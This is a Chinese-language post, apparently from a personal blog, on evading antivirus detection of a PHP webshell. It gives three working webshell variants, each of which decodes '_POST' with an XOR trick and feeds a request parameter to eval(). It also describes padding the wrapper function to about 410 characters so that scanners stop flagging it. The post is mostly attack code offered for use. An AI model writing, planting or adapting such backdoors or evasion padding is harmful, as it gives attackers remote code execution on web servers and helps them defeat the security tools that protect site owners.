有时候发现安全防护软件真的挺奇葩的。
之前写过一个免杀webshell,用的是assert,但php高版本已经不支持了。
所以打算写个基于eval的webshell。
由于不能用$$a 这种变量绕过。所以只能直接和杀毒软件硬刚eval。
eval(base64_decode(...));
这种格式已经用烂了。只要检测这种函数组合必报毒。
所以打算用eval(diy_fun(...));的形式绕过
写的过程中发现一个很奇怪的设定
举个例子
这种就报毒
<?php
function base64decrypt($str_s)
{
return ($str_s);
}
$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?>
然后下面这种就不报毒。
<?php
function base64decrypt($str_s)
{
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
$str_s = str_replace("", "", "");
return ($str_s);
}
$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?>
我本地测试了好多次,发现确实与函数中代码多少有关系。
然后继续测试是行数问题还是字符串数量
下面这个不报毒
<?php
function base64decrypt($str_s)
{
$str_s = str_replace("1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "", "");
return ($str_s);
}
$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?>
不过问题不是这么简单,不仅仅是函数内容的数量。
比如我把变量$str_s 改成$a。就要在str_replace中的“1111...”的字符串中加上相应的数量。
后来发现该函数名的长短也会受到影响。
这个数量大概实在410 左右。